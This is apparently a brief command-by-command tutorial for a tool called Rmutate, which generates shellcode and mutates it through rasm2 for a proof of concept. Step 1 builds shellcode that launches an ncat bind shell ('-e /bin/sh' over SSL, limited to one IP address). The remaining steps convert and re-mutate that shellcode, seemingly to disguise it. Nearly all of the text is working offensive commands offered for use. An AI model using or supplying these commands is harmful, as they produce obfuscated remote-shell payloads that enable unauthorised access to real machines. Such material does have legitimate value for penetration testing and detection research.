STEP 1: make or find a shellcode you plan on using in your POC
When creating a shellcode with Rmutate that is for Linux/OSX that doesn’t have -jcp used, remember to double space out every register/argument.
Rmutate -s "/usr/local/bin/ncat -lvp 12345 --ssl --allow 10.1.1.7 -e /bin/sh" -pa Scourge -df ./testfolder ncatosx -osx -ex
STEP 2: View the target code you plan on converting
cat ./testfolder/ncatosx.c
STEP 3: Pipe the shellcode text into Rmutate using Rasm2 (rasm2 is required from r2 tools). You could also swap out -pp for -cb if you wish to use your clipboard instead.
cat ./testfolder/ncatosx.c | Rmutate rasm2 pp 64
Sense rasm2 didn’t give us any jmps or calls, we can use the following command to go back into a circle. Swap -raw (for asm code) to -bc (for bytecode) if need be. Rmutate does accept jmps/calls if you have nasm headers, but rasm2 doesn’t give us any headers, just the distance.
cat ./testfolder/ncatosx.c | Rmutate rasm2 -pp 64 -x testasm cat testasm | Rmutate -s -pp -raw -osx -ex